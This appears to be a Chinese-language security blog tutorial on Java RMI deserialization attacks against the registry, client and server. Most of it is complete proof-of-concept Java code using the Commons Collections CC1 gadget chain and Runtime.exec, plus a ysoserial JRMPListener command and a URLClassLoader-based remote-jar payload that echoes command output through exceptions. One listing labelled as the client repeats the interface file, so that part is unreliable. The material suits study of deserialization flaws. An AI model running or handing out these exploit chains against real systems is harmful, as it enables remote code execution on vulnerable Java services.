0x00 前言
RMI攻击对象有三个:注册中心、客户端、服务端。
每一种攻击方式,除了确定受害者,还要确定攻击者、攻击场景和攻击条件。
0x01 攻击注册中心
只有客户端打注册中心一种方式
概述
要想攻击注册中心,先要确定注册中心的反序列化点。RegistryImpl_Skel#dispatch给了几个case:
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
不难发现,case1(响应list方法)不存在readObject方法,所以此处不存在反序列化点。但是其余的case有,所以我们不妨一试。
bind & rebind
先分析整个流程,再构造POC。
bind方法有两个参数,第一个参数是绑定对象的名称,String类型;第二个参数是绑定对象本身,Remote类型。bind方法会把两个参数交给前文对应的case0处理:

事实上,我们只需要readObject方法执行就可以了,不需要在意之后的操作。但是bind方法限定了参数类型,所以我们仍然要在最外层套一层壳。
如果注册中心(一般与服务端在同一台JVM)这边存在cc1相关组件漏洞,我们就可以以cc1链为主体,外边套一层Remote代理(实现Remote接口,符合bind方法的参数限定),将该对象作为bind方法的第二个参数,进而在注册中心实现Java反序列化攻击。
给出POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package TestOne;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map;
import static Tool.Serialize.serialize; import static Tool.Unserialize.unserialize;
public class ServerToRegistry_POC { public static void main(String[] args) throws Exception{ LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); registry.bind("test",r); } }
|
想要具体分析攻击的底层流程,是一件比较困难的事情,等我再探索一番。
至于rebind方法,其逻辑一致,所以是同一个POC。
unbind & lookup
很有意思,值得琢磨。
unbind方法的参数是String类型,而POC的最外层是Remote类型,如何破局?
如果POC直接调用unbind方法,显然是不能成功的,因为unbind方法限制了参数类型。但是我们可以剖去unbind这“最外层”,直接调用unbind的执行源码。
想法并不困难,难的是如何实现。读者当然可以照搬POC,不做深究。但是学习不可如此,当步步扎实,知其然,知其所以然。
首要的,就是思考unbind方法的执行源码在哪里,然后才可以进行伪造。如下箭头代码是我们需要伪造的:

留待读者自行伪造,下文给出POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class ServerToRegistry_POC_UnbindAndLookup { public static void main(String[] args) throws Exception{ LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); InvocationHandler handler = cc1(); Remote remote = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(),new Class[] { Remote.class }, handler)); Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry); Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry); RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(remote); ref.invoke(var2); }
public static InvocationHandler cc1() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); return handler; } }
|
lookup方法同理。
0x02 攻击客户端
概述
攻击客户端有三种方法:
- 注册中心攻击客户端
- 服务端攻击客户端
- 加载远程对象
注册中心攻击客户端
除了unbind和rebind,剩余的三个方法都会返回数据给客户端。返回的数据是序列化形式,到了客户端会进行反序列化。如果我们能控制注册中心的返回数据,就能实现对客户端的攻击。这里使用ysoserial的JRMPListener,命令如下
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 calc
|
只需要客户端进行访问:
1 2 3 4 5 6 7
| public class RegistryToClient_ClientListen { public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345); registry.list(); } }
|
如此客户端就会被反序列化攻击了。
服务端攻击客户端
服务端攻击客户端,大抵可以分为以下两种情景。
- 服务端返回Object对象
- 远程加载对象
服务端返回Object对象
远程函数是在服务端执行的,服务端返回结果给客户端,客户端再把结果反序列化。如果我们伪造服务端,恶意控制返回给客户端的对象,就可以对客户端进行反序列化攻击。
要模拟这样的攻击,我们需要服务端和客户端,危险类及其接口一共四个文件:
User 接口
1 2 3 4 5 6 7 8
| package TestOne.ServerToClient;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface User extends Remote { public Object getUser() throws RemoteException; }
|
LocalUser 危险类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package TestOne.ServerToClient;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map;
import static TestOne.ServerToRegistry.ServerToRegistry_POC_UnbindAndLookup.cc1;
public class LocalUser extends UnicastRemoteObject implements User { public String name; public int age;
public LocalUser(String name, int age) throws RemoteException { super(); this.name = name; this.age = age; }
@Override public Object getUser() { try { return cc1(); } catch (Exception e) { throw new RuntimeException(e); } } }
|
Server 服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package TestOne.ServerToClient;
import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.concurrent.CountDownLatch;
public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException { User liming = new LocalUser("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); CountDownLatch latch=new CountDownLatch(1); latch.await(); }
}
|
Client 客户端
1 2 3 4 5 6 7 8
| package TestOne.ServerToClient;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface User extends Remote { public Object getUser() throws RemoteException; }
|
这种攻击方法可以使用许多条链子,不像前文客户端攻击注册中心那般限制。
远程加载对象
具体可以参考这篇文章,利用条件比较苛刻:https://paper.seebug.org/1091/#serverrmi-server,此处不做赘叙
0x03 攻击服务端
也是有两种方法:
- 服务端的方法参数是Object类型
- 远程加载对象
- 利用URLClassLoader实现回显攻击
第一个方法与上文服务端攻击客户端对应,一个传递参数,一个传递结果。第二个方法也在前文给出的那篇链接,不叙。
服务端的方法参数是Object类型
类似前面的四个文件,不过我都做了针对性修改。
User 接口
1 2 3 4 5 6 7 8
| package TestOne.ClientToServer;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface User extends Remote { public void addUser(Object user) throws RemoteException; }
|
LocalUser 危险类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package TestOne.ClientToServer;
import TestOne.ClientToServer.User;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
import static TestOne.ServerToRegistry.ServerToRegistry_POC_UnbindAndLookup.cc1;
public class LocalUser extends UnicastRemoteObject implements User { public String name; public int age;
public LocalUser(String name, int age) throws RemoteException { super(); this.name = name; this.age = age; }
public void addUser(Object user) throws RemoteException { System.out.println("正在执行addUser方法"); } }
|
Server 服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package TestOne.ClientToServer;
import TestOne.ClientToServer.User;
import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.concurrent.CountDownLatch;
public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException { User liming = new LocalUser("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); CountDownLatch latch=new CountDownLatch(1); latch.await(); }
}
|
Client 客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package TestOne.ClientToServer;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
import static TestOne.ServerToRegistry.ServerToRegistry_POC_UnbindAndLookup.cc1;
public class Client { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.addUser(cc1()); } }
|
当执行客户端运行user.addUser方法时,危险参数就会被服务端接收并反序列化。
利用URLClassLoader实现回显攻击
思路打开一点,信息可以藏于报错之中,再想办法回显报错到客户端,这与sql报错注入有异曲同工之妙。
攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端
就不太讲述原理了,给出攻击手法。
远程demo:(demo不能被package,这是个坑点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import java.io.BufferedReader; import java.io.InputStreamReader;
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
|
在该目录下执行命令:
1 2
| javac ErrorBaseExec.java jar -cvf RMIexploit.jar ErrorBaseExec.class
|
Server 服务端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package TestOne.ClientToServer_ErrorBase;
import TestOne.ClientToServer_ArgsBase.LocalUser; import TestOne.ClientToServer_ArgsBase.User;
import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.concurrent.CountDownLatch;
public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException { LocateRegistry.createRegistry(1099); CountDownLatch latch=new CountDownLatch(1); latch.await(); }
}
|
Client 客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| package TestOne.ClientToServer_ErrorBase; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy;
import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
import java.util.HashMap; import java.util.Map;
public class Client { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true);
return ctor; }
public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; int port = 1099; String remotejar = "file:///···/RMIexploit.jar"; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }
|
成功回显如图:

就先不讲解高版本绕过和JEP290绕过了,思路太乱了,先深造RMI等知识。
0x05 参考教程
文章 - Java安全之RMI反序列化 - 先知社区
♪(^∇^*)欢迎肥来!java反序列化之RMI/JRMP反序列化漏洞 | Sherlock
Java反序列化之RMI专题02-RMI的几种攻击方式 | Drunkbaby’s Blog
JEP290的绕过学习 - R0ser1 - 博客园